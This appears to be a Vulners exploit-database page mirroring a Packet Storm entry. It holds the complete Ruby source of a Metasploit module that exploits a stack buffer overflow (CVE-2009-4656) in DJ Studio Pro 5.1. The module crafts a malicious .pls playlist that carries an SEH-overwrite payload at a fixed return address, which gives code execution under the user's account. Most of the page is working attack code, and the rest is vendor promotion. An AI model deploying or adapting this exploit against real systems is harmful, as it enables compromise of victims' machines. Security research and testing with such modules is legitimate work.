Lucene search
K

DJ Studio Pro 5.1 .pls Stack Buffer Overflow

🗓️ 02 Mar 2012 00:00:00Reported by Sebastien DuquetteType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

DJ Studio Pro 5.1 .pls Stack Buffer Overflow when handling a .pls file, DJ Studio Pro will copy the user-supplied data on the stack without any proper bounds checking done beforehand, allowing code execution under the context of the user

Related
Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DJ Studio Pro 5.1 .pls Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.  
When handling a .pls file, DJ Studio will copy the user-supplied data on the stack  
without any proper bounds checking done beforehand, therefore allowing code  
execution under the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Sebastien Duquette',  
'Death-Shadow-Dark <death.shadow.dark[at]gmail.com>',  
],  
'References' =>  
[  
[ 'CVE', '2009-4656'],  
[ 'OSVDB', '58159'],  
[ 'URL', 'http://www.exploit-db.com/exploits/10827' ]  
],  
'Payload' =>  
{  
'Space' => 5000,  
'BadChars' => "\x00\x0a\x3d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# POP EBX # POP ECX # RET 8  
# DJStudioPro.exe  
[ 'DJ Studio Pro 5.1.6.5.2', { 'Ret' => 0x014FC62D } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 30 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),  
], self.class)  
  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(1308)  
sploit << generate_seh_payload(target.ret)  
sploit << rand_text_alpha_upper(10000)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sploit)  
  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation